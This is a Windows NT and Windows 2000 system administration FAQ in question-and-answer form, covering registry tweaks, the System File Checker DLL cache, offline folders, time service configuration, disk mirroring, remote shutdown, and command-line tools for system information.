Q. How can I disable the DLL cache in Windows 2000?

A. To remove the DLL cache in Windows 2000 which the system file checker service uses and that can take up about 200MB of space enter the following commands:

C:\> sfc /cachesize=0
C:\> sfc /scannow

The sfc /scannow forces it to remove the cached files.


Q. I can't add or remove Accessories on a Windows 2000 professional machine.

A. If you select the Add/Remove programs control panel applet and select 'Add/Remove Windows components' there should be a section 'Accessories and Utilities' which clicking details allows addition of calculator, games etc however it may be missing on some computers. To fix perform the following:

  1. Start notepad
  2. Open the file %systemroot%\inf\sysoc.inf
  3. Find the '; old base components' section and remove the HIDE word so from
    Games=ocgen.dll,OcEntry,games.inf,HIDE,7
    AccessUtil=ocgen.dll,OcEntry,accessor.inf,HIDE,7
    CommApps=ocgen.dll,OcEntry,communic.inf,HIDE,7
    media_clips=ocgen.dll,OcEntry,mmopt.inf,HIDE,7
    MultiM=ocgen.dll,OcEntry,multimed.inf,HIDE,7
    AccessOpt=ocgen.dll,OcEntry,optional.inf,HIDE,7
    Pinball=ocgen.dll,OcEntry,pinball.inf,HIDE,7
    MSWordPad=ocgen.dll,OcEntry,wordpad.inf,HIDE,7
    TO
    Games=ocgen.dll,OcEntry,games.inf,,7
    AccessUtil=ocgen.dll,OcEntry,accessor.inf,,7
    CommApps=ocgen.dll,OcEntry,communic.inf,,7
    media_clips=ocgen.dll,OcEntry,mmopt.inf,,7
    MultiM=ocgen.dll,OcEntry,multimed.inf,,7
    AccessOpt=ocgen.dll,OcEntry,optional.inf,,7
    Pinball=ocgen.dll,OcEntry,pinball.inf,,7
    MSWordPad=ocgen.dll,OcEntry,wordpad.inf,,7
  4. Save the file
  5. You don't need to reboot and the Accessories should now be available


Q. How can I remove a device driver?

A. To remove a driver perform the following:

  1. Stop the service or device driver.
    For services, run Control Panel and choose Services. For device drivers, run Control Panel and choose Devices.
    If the service or device driver does not stop, set the startup type to disabled and reboot the computer.
  2. Start the registry editor (REGEDT32.EXE).
  3. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
  4. Find the registry key that corresponds to the service or device driver to be deleted.
  5. Select the key.
  6. From the Edit menu, choose Delete.
  7. Choose YES to confirm the deletion of the key.
  8. Close the registry editor
  9. Shut down and restart the computer

The NT-Resource Kit has a tool named SRVINSTW which on the third screen allows you to add the device Drivers for removal.


Q. How do I remove the resource kit time service?

A. To remove the timeserv resource kit utility perform the following:

  1. Start the services control panel applet and stop the Time Service.
  2. Start the registry editor (regedt32.exe)
  3. Move to HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Eventlog\Application
  4. Select TimeServ and click Del. Click YES to the confirmation
  5. Move to HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services
  6. Select TimeServ and click Del. Click YES to the confirmation
  7. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application
  8. Select TimeServ and click Del. Click YES to the confirmation

If you start the Services control panel applet and the TimeServ service should be disabled and unavailable. Reboot the computer and it will not be shown.


Q. How can I configure event log wrapping in Windows 2000?

A. After a while when you start Windows 2000 you will get warnings about log x being full. To action these requests and set log options perform the following:

  1. Start the Computer Management MMC (Start - Programs - Administrative Tools - Computer Management)
  2. Expand System Tools and select Event Viewer
  3. Right click on the relevant log, for example Application and select Properties
  4. Set the log size and how it should overwrite. Selecting 'Overwrite events as needed' may be the easiest to manage but it leaves you wide open from an auditing perspective
  5. Click Apply then OK

You will notice when you right click on the event log you can also clear its contents using the relevant context menu option.


Q. What are offline folders?

A. Windows 2000 introduces the concept of offline folders and is basically just a locally cached version of a network file or folder.

The contents of the locally cached version are synchronized with the network version to assure no changed to files are lost and the access permissions are the same as those as if you were connected, this does not bypass any ACL's.

When the status of your connection changes, an Offline Files icon appears in the status area, and an informational balloon is displayed over the status area to notify you of the change.

Any shared files or folders on a Microsoft network can be made available offline. You can make files available offline from any computer that supports Server Message Block-based (SMB) File and Printer Sharing, including Windows 95, Windows 98, and Windows NT 4.0. Offline Files is not available on Novell NetWare networks.


Q. How do I set a folder as available/not available offline?

A. To make a file or folder available when offline just right click on the file/folder and select 'Make Available Offline' and a wizard will be started:

  1. Click Next to the welcome screen
  2. Check the 'Automatically synchronize the Offline Files when I log on and log off my computer' (this will slow logon/logoff slightly). Click Next
  3. The 'Enable reminders' will be selected by default which will produce little "reminder" bubbles when you are not connected.
  4. Click Finish
  5. If you are selecting a folder and it has subfolders after clicking Finish you will be asked if you want the subfolders and content also available.
  6. A file copy will then take place to create the cached version

To make a file/folder not available just right click on it and unselect the 'Make Available Offline'.

If you are using a folder that is currently not available when the share becomes available again just right click on the folder/file and select 'Synchronize', this will sync the content and make online again.


Q. How do I configure a shared folder as automatically available offline?

A. Its possible to configure a folder to be automatically configured as available offline to the clients when it as shared by performing the following:

  1. Start Explorer
  2. Right click on the shared folder
  3. Select Sharing from the context menu
  4. Click the 'Caching' button
  5. Select the type of caching:
    - Automatic Caching for Documents
    - Automatic Caching for Programs
    - Manual Caching for Documents
  6. Click OK
  7. Click OK to the main share

Clients connecting to the share (Windows 2000 clients) will automatically cache any opened files, i.e. the entire content will NOT be cached, only files/programs that are opened from the share. If the share is then unavailable only the files that have previously been opened will be listed and can be opened. When the share goes offline you will get the standard notification that is is no longer available online and you will use the offline version.


Q. How do I enable my computer to support offline folders/files?

A. By default Windows 2000 Professional installations have offline folder/files enabled, Windows 2000 Server installations have it disabled.

To enable/disable perform the following:

  1. Start Explorer
  2. From the Tools menu select 'Folder Options'
  3. Select the 'Offline Files' tab
  4. Make the required changes such as checking the 'Enable Offline Files' box. The 'Synchronize all offline files before logging off' forces a resync before logoff but does slow down logoff.
  5. Click Apply then OK


Q. How can I configure the time service in Windows 2000?

A. Windows 2000 Kerberos authentication protocol relies quite heavily on all domain controllers having a common time and so Windows 2000 ships with the W32Time (Windows Time) service.

A hierarchical approach is taken to assigning time:

  • All clients desktops and member servers use their authenticating domain controller as their in-bound time partner
  • All domain controllers in a domain use the Primary Domain Controller (PDC) Flexible Single Master of Operations (FSMO) as the in-bound time partner
  • The PDC FSMO's use the domain hierarchy to pick their in-bound time partner

Obviously this means the PDC FSMO becomes the authoritative time source for the enterprise and should be configured to gather the time from an external source. Until this is done you will see events in the Event Log stating the W32Time service is not configured.

To configure Windows 2000 to use an external time server use the command:

C:\> net time /setsntp:192.4.41.40

There are a number of external time servers you can use based at the U.S. Naval Observatory

  • ntp2.usno.navy.mil - 192.5.41.209
  • tick.usno.navy.mil - 192.4.41.40
  • tock.usno.navy.mil - 192.5.41.41

BUT you should not directly talk to the navy NTP servers unless the domain admin needs to operate a stratum-2 server (and will open it to a large community of users), he should *not* be hitting directly on tick.usno.navy.mil, tock.usno.navy.mil, or ntp2.usno.navy.mil. Use your ISPs NTP server (they should have one), unless you have unusual requirements for precision.

Please read http://www.eecis.udel.edu/~ntp/ntpfaq/NTP-s-config.htm#Q-CLIENT-ETIQUETTE before using the NTP service in Win2K.

When you perform the /setsntp it actually updates registry entry HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Parameters\ntpserver.

SNTP uses UDP port 123 so ensure this is not blocked by any proxy servers/firewalls.

For more information have a look at w32time.doc file found at ftp://ftp.microsoft.com/ResKit/y2kfix/x86/w32time/w32time.doc, although this was written for the w32time program as used in NT4, not the w32time service as used in w2k, it is still well worth reading over this file. You should also read Q224799 - Basic Operation of the Windows Time Service: http://support.microsoft.com/support/kb/articles/Q224/7/99.ASP.

Below are some of the other registry parameters for the W32 time service:

Name | Description
LocalNTP (REG_DWORD) | According to w32time.doc, setting this value to 1 (the w32time program uses an .ini file and sets the value to "yes") sets up the local machine as a SNTP server.
Log (REG_DWORD) | Setting this value to 1 gets the time service to write to the System Log when the time is sync'd. The default is 0.
NTPServer (REG_SZ) | This is the (S)NTP server to get the time from. This can be set from the command line using "net time /setsntp[:serverlist]". w32time.doc states ' BroadcastClient' and 'MulticastClient' are reserved names and can't be used for NTP Servers.' But I don't know what BroadcaseClient and MulticastClient stand for.
Period (REG_SZ) | See w32time.doc, and the kb article above - I think the behaviour might be different for the service than
PrimarySource (REG_SZ) | Lists the NetBIOS names of all the Master Time Servers in the network. Each name must be prefixed with 2 backslashes (\\) and names are separated by semicolons (;)
RandomPrimary (Unknown type, probably a REG_DWORD) | Selects a random primary server from the PrimarySource list
ReliableTimeSource | Presumably REG_SZ, with the name of the RTS server.
SecondaryDomain (REG_SZ) | Tells a Secondary machine which domain to broadcast its Time Request to. From w32time.doc - If you leave the entry blank, the Secondary machine will query its own domain for time information. This is very helpful in a Master or Multiple Master domain model, where the Network Administrators dont want to set up each domain with its own Primary Time Server(s).
TAsync | See w32time.doc for a detailed explanation
Type (REG_SZ) | NTP/PRIMARY/SECONDARY. See w32time.doc

Thanks to Matthew Ellis for taking the time to unearth the above registry entries.


Q. How can I configure Administrative Alerts in Windows 2000?

A. Windows 2000 Professional has no GUI interface to set Administrative alerts, instead you need to manually update the registry:

  1. Start regedt32.exe (NOT regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Alerter\Parameters
  3. Double click AlertNames
  4. On each line enter the username or computer who should get the alert
  5. Click OK
  6. Close the registry editor

For machines to receive the alerts their Alerter service must be running (this can be started using the Services control panel applet or in Windows 2000 use the Computer Management MMC and select the Services branch)

Windows 2000 Server still includes a version of Server Manager (srvmgr.exe) which can also be used to configure alerts by selecting a computer, select Properties from the Computer menu, click the Alerts button.


Q. How can I tell if my Windows 2000 installation is registered?

A. When Windows 2000 is registered it updated registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegDone with registration information. If its blank then you are not registered. I don't know the exact format this data will take as you can't register yet :-)


Q. How do I enable TAPI 2.1 support?

A. Service Pack 4 for Windows NT 4.0 included an updated version of TAPI for which the files are automatically installed during the installation of SP4.

To enable the telephony server perform the following:

  1. Log on to the server as an administrator.
  2. Create or configure a user account with administrator privileges via User Manager. This will be the user account in which the telephony service process (TAPISRV) will run.
  3. Enter the following command at a command prompt (Start - Run - CMD):
    tcmsetup.exe /s domain\loginID password
    where the domain, loginID, and password refer to the user account configured above.
    After executing this command, you should receive a message stating that the server was set up correctly.
  4. Shut down and restart the server.

Once installed and enabled on the server enable on the clients as follows:

  1. Log on to the client computer as an administrator.
  2. Enter the following command at a command prompt:
    tcmsetup /c RemoteServerName
    where RemoteServerName is the telephony server's computer name.


Q. Configuring Dual fault tolerant mirrored drives.

A. Thanks to Joshua Bolton for this information.

Preamble: you must have two exactly the same ide drives. In this case, I am using IBM 14gig Deskstars. Each one is set to master and installed in a Pentium mother board each on its own channel, ie. ide controller 0 and ide controller 1.

Step 1
Do the hardware setup. Set the BIOS to “auto” for each drive. Boot the system and see that the BIOS sees each drive. Turn off the server.
Disconnect the cable from Drive 0

Step 2
Boot up on a Dos disk. Dos version 6.22 or better containing FDISK and FORMAT.
Create a 125 meg primary partition. Format it with “format c: /s” so it is bootable. Reboot and confirm that it boots.

Step 3
Set your BIOS to boot the CDROM or use a boot disk with CD-ROM drivers.
Insert the NT Server CDROM and boot.
NT will load the setup files using the 125meg DOS partition.

Step 4
You will come to part that asks where you want to install NT and gives you the option of creating the partition.
Create a 2gig partition. This is only temporary so don’t waste your time with anything bigger. Leave it as FAT. Let NT Server install to this partition.
Reboot and load NT. Install Service Pack 3. Do NOT install Service Pack 4 at this time! Reboot.
Check the System error log to make sure everything is OK. (no hardware errors about drives)
Down the server and turn it off.
Reconnect the cable to IDE0
REPEAT STEP 2 FOR THIS DRIVE

Step 5
Boot NT Server.
Go into Disk Administrator and create the extended partition on IDE 0
So it will look like this;
125meg Dos primary partition with the rest, in this case, 14gig logical partition.
Format the logical partition as NTFS
Down the server and turn it off.
Disconnect the cable from IDE1

Step 6
REPEAT STEP 3
This time when you get to the part about where to install NT Server select the NTFS partition. DO NOTHING ELSE except continue.
Complete the installation of NT.
Install Service Pack 3.
Down the server and turn off the system.
Reconnect IDE1

Step 6
Start the system. It will boot to the first drive IDE0.
Go into Disk Administrator
Select IDE1 and delete the 2gig partition.
From the menu choose “Partition” and “Commit Changes Now”
Leave the logical partition on IDE1 “raw”

Step 7
In Disk Administrator highlight the NTFS partition on IDE0
Hold your control key down and select the same size logical partition on IDE1
Right mouse click and select “Mirror”
From the menu choose “Partition” and “Commit Changes Now”
The mirroring process will take some time depending on how big your NTFS partition is in size.

Step 8
Copy the boot.ini from IDE0’s 125meg primary partition to IDE1’s 125meg primary partition.

Note: since the BIOS is set to Auto for each drive and you have set it to boot IDE first, if the IDE0 fails, upon reboot IDE1 will load NT Server with exactly what was contained in IDE0 since it is a mirrored set.
By creating the DOS primary partition and installing NT Server to each drive, NT altered the partition table to look for the boot.ini. This is also why you copy the final boot.ini over to IDE1 since the drive partitions match.
If a drive fails you will be up and operational. You will choose the time and place to reset up the mirror. ALWAYS BACKUP YOUR SYSTEM! Just in case J

How to recover after a disk failure

Preamble: You will have to have an exact type drive as a spare. You should be able to use a different manufactures drive but I have not tested that.
If IDE0 failed, move the drive on IDE1 to channel 0. Install the new drive on channel 1.
If IDE1 failed just replace the drive.

Step A
Break the mirror set in Disk Administrator. Reboot (it will ask you to)
Come back up and confirm that the mirror set is gone.
Down the server and do Step 2 to setup the new drive.
Bring up the server and remirror the drive from IDE0

Note: I had serious problems with Service Pack 4 and dual processors during install. Service Pack 3 allowed me to create greater then 4gig NTFS partitions and was stable during the setup phase. At the writing of this document Service Pack 6 is out though I am only on Service Pack 5 with my production server at this time.


Q. What order are environment variables processed during logon?

A. When a user logs on variables are processed in the following order:

  1. Dynamic variables such as operating system variables
  2. System variables defined in the System tool in Control Panel
  3. Variables defined in the Autoexec.bat file
  4. Environment variables defined in the System tool in Control panel for the current user

If a variable is defined multiple times the last setting takes precedence.


Q. How can I change the display order for the hardware profile list at startup?

A. Its possible to modify the order of the various hardware profiles you may have on your system by editing the registry:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\IDConfigDB\Hardware Profiles
  3. You will see a number of subkeys, 0001, 0002 etc and under each key will have a FriendlyName and a PreferenceOrder
  4. Select each subkey and modify the PreferenceOrder starting from 0 and incrementing by one for each entry
  5. Close the registry editor
  6. Reboot the computer to see you new order

That's it. Make sure you have no gaps or you may have problems.

You can also do this via the Hardware Profiles tab of the System Control Panel applet using the arrows but that's boring :-)


Q. How can I change the screen tip for a shortcut?

A. Windows 2000 introduces tips for shortcuts that are displayed when you pause the mouse over a shortcut be it on the desktop or in a start menu (or anywhere else).

To change the shortcut tip perform the following:

  1. Right click on the shortcut
  2. Select Properties
  3. Modify the Comment
  4. Click Apply

The new tip will now be displayed.


Q. How can I enable network lockout for the Administrator account?

A. Normally the Administrator account cannot be locked out however the Resource Kit utility passprop.exe can be used to enable the Administrator account to be locked out via network access stopping the possibility of a password brute force attack however the Administrator can still log on locally at the server. To enable Administrator lockout perform the following:

C:\> passprop /adminlockout


Q. How can I remotely reboot, logout, shutdown a machine?

A. The Windows NT and 2000 resource kit supply a utility SHUTDOWN.EXE which can be used to shutdown or reboot the local or a remote machine. It also allows you to configure how hung applications should be handled.

For example the command:

C:\> shutdown \\morpheus /r /t:15 "bye bye"

would reboot (/r) the machine morpheus in 15 seconds (/t:15) with the helpful message of "bye bye".

Windows 2000 includes the Computer Management MMC snap-in which is normally used to manage services, local users but it can also be used to shutdown etc as follows:

  1. Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Management)
  2. Right click on the root of the tree (Computer Management) and select Properties from the context menu
  3. Select the Advanced tab
  4. Click the 'Startup and Recovery' button
  5. Click 'Shut Down' button (don't worry it won't shut anything down at this point)
  6. From the dialog you can select to shutdown, reboot, logoff or power down (if supported) and you can also choose how hung applications will be handled.
  7. Make your selections and click OK

An interesting point to be aware of is if you select Log off Current User from a terminal services session it actually logs off the user at the console, NOT your session so use with care :-)

You might be thinking what does this have to do with remote computer reboot etc. as this is only local but its possible to attach to other computers with the Computer Management snap-in and once connected you can perform exactly the same steps as above to reboot etc.

To connect to a remote machine perform the following:

  1. Start the Computer Management
  2. Right click on the root and select 'Connect to another computer ...'
  3. Select the computer you wish to connect to from the displayed and click OK

You would now select Properties, Advanced, startup and recovery etc. as before.


Q. Where is the 'ODBC Data Sources' control panel applet in Windows 2000?

A. Windows 2000 moved many items from the NT 4.0 world however most of the control panel applets were left alone. The ODBC Data Sources is an exception and has been removed as a control panel applet and is now listed in the Administrative Tools program groups folder (Start - Programs - Administrative Tools - Data Sources (ODBC)).

It can also be called directly by just running ODBCAD32.EXE (this also works in NT 4.0).

The actually functionality of the utility is unchanged.


Q. How do I view/create saved Directory Service, DNS and File Replication Service event logs?

A. The Computer Management MMC can be used to view and archive event logs. To stop your system grinding to a halt you will archive old event logs regularly (or configure the system to loop round which may lead to you losing important event logs as it just overwrites the oldest information as needed).

The Directory Service and File Replication Service event logs are only shown in Event Viewer on Windows 2000 domain controllers. The DNS Server event log is only available on DNS servers.

To save an event area and clear them out of the current display perform the following:

  1. Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Management)
  2. From the System Tools branch select Event Viewer
  3. Right click on the selected log, e.g. DNS and select 'Clear All Events' from the context menu
  4. You will be asked if you want to save the logs first, say yes and select a location. Click Save
  5. The events will then be cleared from the display

Once saved to open one of these logs files perform the following:

  1. From Computer Manager right click on the root Event Viewer
  2. Select 'Open Log File' from the context menu
  3. Move to the location of the saved log files and select one.
  4. Select the type of log file, e.g. 'DNS Server' and enter a name for it to be displayed as.

    Click Open
  5. The opened log will be displayed under the Event Viewer branch beneath any other logs

When finished looking at the old data right click on the 'Saved DNS Server Log' and select Delete from the context menu. It won't delete the actual file, just the view into it.

A Windows 2000 professional machine cannot read any of the DNS/FRS/DS logs. It can read the standard application, system, security logs.


Q. How can I change the icon for drive letters?

A. Windows 2000 allows you to assign a different icon to the various drive letters as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
  3. From the Edit menu select New - Key. Enter a name of DriveIcons
  4. Select the new key and select New - Key, enter the name of the drive, e.g. C (no :)
  5. Select the created key and select New - Key, enter a name of DefaultIcon
  6. Move to DefaultIcon and double click the (Default) value.
  7. Set to the dll containing the icon and the icon number, e.g. icons.dll,-24 is icon is 24 in icons.dll. Click OK
  8. Close the registry editor

Clicking F5 (refresh) in Explorer will now show the new icons.

To get you started here is a DLL containing a C and D icon I created (ID 24 and 25 respectively) and a reg file which configures them on you machine. To use the reg file the icons.dll file would be at root of C: (not ideal :-)) but you can easily change the reg file.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\C]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\C\DefaultIcon]
@="c:\\icons.dll,-24"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\D]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\D\DefaultIcon]
@="c:\\icons.dll,-25"


Q. How can I stop the Infotips being displayed for icons and drives?

A. Windows 2000 has infotips for some programs and folders however these may prove annoying and can be disabled in two ways.

The first method is via the GUI:

  1. Start Explorer
  2. From the Tools menu select Folder Options
  3. Select the View tab
  4. Unselect 'Show pop-up description for folder and desktop items'
  5. Click Apply then OK

It can also be done by directly editing the registry:

  1. Start the registry editor
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
  3. Double click ShowInfoTip and set to 0. Click OK. (create of type REG_DWORD if it does not exist)
  4. Close the registry editor


Q. How can I enable the Windows 2000 System File Checker to cache ALL DLL's?

A. The System File Checker (SFC) maintains copies of the DLL's in a cache to protect them for being corrupted by application installation/user removal.

Windows 2000 Server family cache ALL protected files, SYS, DLL, EXE, TTF, FON and OCX on the 2000 CD (until you have less than 300MB of free disk space). Windows 2000 Professional will only cache 50MB's of DLL's however this can be changed by performing the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. Double click SFCQuota
  4. Set to 0xFFFFFFFF and click OK
  5. Close the registry editor
  6. Start a command session (CMD.EXE) and run
    C:\> sfc /scannow

All system files should now be cached (until you reach 150 MB of free disk space and then it will free up DLL cache). The DLLCACHE folder will reach about 250MB (the size on a server installation).

The sfc.exe program also has a /Cachesize=x option which allows you to set cache size from the command line.

The DLL cache is located at %systemroot%\system32\dllcache.


Q. How can I move the DLL cache?

A. By default the DLL cache is stored in %systemroot%\system32\dllcache

  1. Start the registry editor (regedt32.exe not regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the Edit menu select 'Add Value'
  4. Set the name to SFCDllCacheDir and the type to REG_EXPAND_SZ and click OK
  5. Enter the string for its new location, e.g. c:\files\dllcache and click OK (it MUST be a local path)
  6. Close the registry editor
  7. Reboot your machine


Q. How can I disable the Start menu program scroll?

A. In Windows 2000 the Start menu will scroll the content if there are more than the number that can fit in a single column. In Windows NT multiple columns would be used where needed. Its possible to configure the system to use the old NT 4.0 method of multiple columns by performing the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
  3. Double click StartMenuScrollPrograms and set to "NO" (don't type the quotes)
  4. Click OK
  5. Close the registry editor
  6. Reboot the computer

You can also make the change by performing the following:

  1. Select Start - Settings - Taskbar & Start menu
  2. Select the Advanced tab
  3. Unselect 'Scroll the programs menu' and click OK


Q. How can I restrict network browsing to users local workgroup/domain?

A. By default when a user browses the network with Windows Explorer or My Network Places (Network Neighborhood) may domains/workgroups will be listed however it is possible to restrict so only computers in the users local workgroup/domain are displayed:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network (create the key if it does not exist)
  3. From the Edit menu select New - DWORD value
  4. Enter a name of NoEntireNetwork and press Enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor
  7. Logoff and on again for the change to take effect

This can also be done with a Group Policy Object by setting User Configuration - Administrative Templates - Windows Components - Windows Explorer - No "Entire Network" in My Network Places.


Q. How can I stop users browsing computers in their local workgroup/domain?

A. To stop users being able to list machines in their local workgroup/domain via Windows Explorer or My Network Places (Network Neighborhood) perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network (create the key if it does not exist)
  3. From the Edit menu select New - DWORD value
  4. Enter a name of NoComputersNearMe and press Enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor
  7. Logoff and on again for the change to take effect

This can also be done with a Group Policy Object by setting User Configuration - Administrative Templates - Windows Components - Windows Explorer - No "Computers Near Me" in My Network Places.


Q. How can I hide ALL desktop icons?

A. Within the FAQ with have looked at ways to hide My Computer, Internet Explorer, Network Neighborhood from the desktop but there is a way to hide ALL icons (including any shortcuts) by performing the following (this does not stop their functionality only hides them from the desktop):

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  3. From the Edit menu select New - DWORD value
  4. Enter a name of NoDesktop and press Enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor
  7. Logoff and on again for the change to take effect

This can also be done with a Group Policy Object by setting User Configuration - Administrative Templates - Desktop - Hide all icons on Desktop.

Also note that with this enabled you cannot right click on the desktop to get a context menu.


Q. How do I upgrade my Windows 2000 installation to 128-bit encryption?

A. America relaxed the rules on exporting 128-bit encryption and so is now generally available to all (except certain countries).

If you purchased Windows 2000 in America/Canada you will have a floppy disk with the package which contains the 128 bit update.

If you don't have the disk you can download from http://www.microsoft.com/windows2000/downloads/recommended/encryption/default.asp.

To install perform the following:

  1. Expand the downloaded Encpack_Win2000Admin_EN.EXE
  2. Run the ENCPACK.EXE (this is the same step as if using the disk)
  3. Click Yes to the confirmation to install
  4. Click Yes to the license
  5. Click Yes to reboot the computer

After reboot you will be using 128 bit encryption


Q. How can a user request a certificate via the web?

A. Part of the Certification Service installation adds a virtual directory called CertSrv pointing to %systemroot%\System32\CertSrv which can be used to request certificates over the Intranet.

  1. Goto http://<CA server>/certsrv
  2. Select 'Request a certificate' and click Next
  3. Select ‘User Certificate’ and click Next
  4. Click ‘More Options’ button to see various CSP (Cryptographic Service Provider)
    Selecting the Advanced form allows key size, hash algorithm etc to be set
  5. Click Submit
  6. A certificate will be generated, click ‘Install this Certificate’
  7. Close the web page

The certificate will now have been installed and can be also viewed using the Certificates MMC snap-in for the user.


Q. How can I tell the role of my NT machine?

A. There are several ways to do this, however the easiest is to type the command
net accounts
And at the bottom of the output, the Computer Role will be shown as one of the following:
WORKSTATION - A normal NT Workstation machine
SERVER - A standalone NT Server machine
PRIMARY - A Primary Domain Controller (PDC)
BACKUP - A Backup Domain Controller (BDC)


Q. How can I tell who has which files open on a machine?

A. To view which files are currently open, and which user has them open use the
net file
command which displays information in the form of
ID Path Username # Locks, e.g.

ID         Path                                    User name            # Locks
-------------------------------------------------------------------------------
9          D:\index.lnk                            savillj               0
11         D:\john.lnk                             savillj               0
23         D:\www.savilltech.com\images\me.gif     savillj               0
27         D:\www.savilltech.com\images\mcse.gif   savillj               0
31         D:\www.savilltech.com\images\mvp.gif    savillj               0
35         D:\www.savilltech.com\images\40179.JPG  savillj               0
39         D:\www.savilltech...\goldeneye.gif      savillj               0
43         D:\www.savilltech...\Rita1sml.jpg       savillj               0
47         D:\www.savilltech...\Rita2sml.jpg       savillj               0
49         D:\www.savilltech.com\me.html           savillj               0
The command completed successfully.

Also using net file, it is possible to delete a file lock using
net file 47 /close
which would remove this lock.

To use Net File you must have the server service running on the machine (check Start - Settings - Control Panel - Services)

You can also use the Server Control Panel Applet on the domain controller (In Use).

There is a freeware utility called OFL (Open File List) from http://www.merxsoft.com/ which provides more information.

The best 3rd party applications I have found are NTHandle (a command line file use utility), and NTHandleEx (a GUI version of NTHandle). Both these utilities are available from http://www.sysinternals.com.


Q. How do I view all the applications/processes on the system?

A. You can use Task Manager that is standard part of NT (Right click on the Task Bar, and select Task Manager). There is also the PVIEW program that comes with Visual C++. For command line viewing there is TLIST that comes with the resource kit


Q. Where can I get information about my machine?

A. There are several utilities available, however winmsd is good, and can produce a full printed report about your computer including IRP,DMA settings for devices. A command line version of winmsd is called winmsdp which is good to run regularly, this utility is part of the Windows NT Resource Kit.


Q. How can I tell when NT was last started?

A. From the command prompt, enter the command

C:\> net statistics workstation | more

At the top it says "statistics since ...". This will give the time since the workstation service was started, so if someone has performed the commands:

net stop workstation
net start workstation

the time up will be incorrect.

The time NT has been up is also displayed from the PVIEW utility, and also there is a set of applications that display this information called 3UPTIMES.ZIP (there is a command line and a windows version included). These apps are from http://barnyard.syr.edu/~vefatica/. Be aware this gives incorrect information if the system has been up more than 50 days.

The last line of output from the Windows NT Resource Kit utility SRVINFO.EXE displays the total uptime as well in the format:

System Up Time: 24 Hr 3 Min 29 Sec

There is an preformance monitor object
Object: System
Counter : System Up time

ElWiz from http://www.heysoft.de/nt/eventlog/ep-elwiz.htm will always give the right uptime (among lots of other usefull information) and it is free, too.

System Internals also now provide an uptime utility with source from http://www.sysinternals.com/misc.htm.


Q. I have lost my NT Installation CD-ROM case that had the Key number, how can I find it out?

A. The easiest way is to run WINMSD (Start - Run - Winmsd) and look at the Version tab. On the line above the register info you will see a number in the form of 50036-xxx-yyyyyyy-71345. The xxx-yyyyyyy is the number on the back of the CD case. This is also the same as the registry entry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId.


Q. How can I get detailed system information from the command prompt?

A. The Windows NT Server Resource Kit supplies SRVINFO.EXE which is an excellent tool for gaining a picture of your system with including details about:

  • Version
  • Service and Hotpacks installed
  • Services
  • Domain information
  • Hardware

C:\>srvinfo
Server Name: GARFIELD
Security: Users
NT Type: WinNT WorkStation
Version: 4.0, Build = 1381, CSD = Service Pack 4, RC 1.99
Domain: SVILLUK
PDC: \\SVLON1
IP Address: 160.82.220.19
CPU[0]: x86 Family 6 Model 3 Stepping 3
Hotfixes: [Q147222]:
Drive: [FileSys] [ Size ] [ Free ]
Services:
[Stopped] Alerter
..
..
System Up Time: 23 Hr 51 Min 43 Sec

The utility has a number of switches to give extra/less information:

SRVINFO [[|-ns|-d|-v|-s] \\computer_name]
-ns: Do NOT show any service information
-d: Show service drivers and service
-v: Get version info for Exchange and SQL
-s: Show shares


Q. How can I tell when NT was installed?

A. NT stores its install time in the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\InstallDate in seconds from 1 Jan 1970. I've written a utility you can use that will display this (in converted form :-) ) and some other information. Download from http://www.savilltech.com/download/wininfo.zip.


Q. How can I tell if my NT installation is a 120 day evaluation or full?

A. If you install NT using setup disks that were created with an evaluation CD and even if you still enter a full registered product ID code then your installation will expire however Microsoft do not provide a method to tell if your installation will expire or not, very annoying when it only gives you one hours notice before shutting down!

Download Win Info from http://www.savilltech.com/download/wininfo.zip and the value of "Installation Type" will show either

  • Full version
  • Time Limited Version (nnn days)

Special thanks to Mark Russinovich at http://www.sysinternals.com for his help in deciphering the expiry information. Do not mail myself or Mark asking for the method of detection, we will not disclose it.

